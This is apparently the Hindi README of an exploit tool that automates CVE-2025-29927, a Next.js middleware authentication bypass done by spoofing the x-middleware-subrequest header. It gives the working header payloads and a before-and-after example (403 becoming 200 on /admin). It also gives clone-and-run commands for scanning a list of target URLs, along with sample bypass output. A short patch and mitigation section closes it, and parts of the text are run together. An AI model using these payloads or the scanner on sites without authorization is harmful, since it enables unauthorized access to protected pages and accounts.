
CVE-2025-29927: Next.js Middleware Exploit
यह टूल CVE-2025-29927 के शोषण को प्रदर्शित और स्वचालित करता है, जो Next.js में एक कमजोरी है जो हमलावर को आंतरिक हेडर x-middleware-subrequest के दुरुपयोग द्वारा मिडलवेयर जाँचों (जैसे प्रमाणीकरण) को बायपास करने की अनुमति देती है।
Next.js आंतरिक रूप से x-middleware-subrequest हेडर का उपयोग पुनरावर्ती अनुरोधों में अनंत लूप को रोकने के लिए करता है। हालाँकि, यह हेडर कुछ संस्करणों में बाहरी हेरफेर से सुरक्षित नहीं है, जिससे एक दुर्भावनापूर्ण अभिनेता इसे नकली (spoof) कर सकता है।
इस हेडर को मैन्युअल रूप से सेट करके, प्रमाणीकरण, रीडायरेक्ट, लॉगिंग, या फ़िल्टरिंग लागू करने वाली मिडलवेयर लॉजिक पूरी तरह से छोड़ दी जाती है।
x-middleware-subrequest के लिए कई पेलोड पर पुनरावृत्ति करता है403 से 200 हो जाती है15.2.314.2.2513.5.9next start आउटपुट: standalone के साथ)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
भले ही लक्ष्य मिडलवेयर के माध्यम से प्रमाणीकरण जाँचता है, यह इसे पूरी तरह से बायपास कर देता है।
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
urls.txt नामक एक फ़ाइल बनाएँ जिसमें प्रति पंक्ति एक URL हो:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
प्रत्येक URL पर एक्सप्लॉइट हेडर के साथ और बिना अनुरोध भेजता है
कई पेलोड विविधताओं का उपयोग करता है:
middlewarepages/_middlewaresrc/middlewareलॉग करता है:
middleware_exploited.txt: वास्तविक बायपास के लिए (403 → 200)middleware_response_diff.txt: जब प्रतिक्रिया सामग्री भिन्न होती हैNext.js को तुरंत एक सुरक्षित संस्करण में अपग्रेड करें:
15.2.3+14.2.25+13.5.9+इसके अलावा:
getServerSideProps, JWT, सत्रों के माध्यम से)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt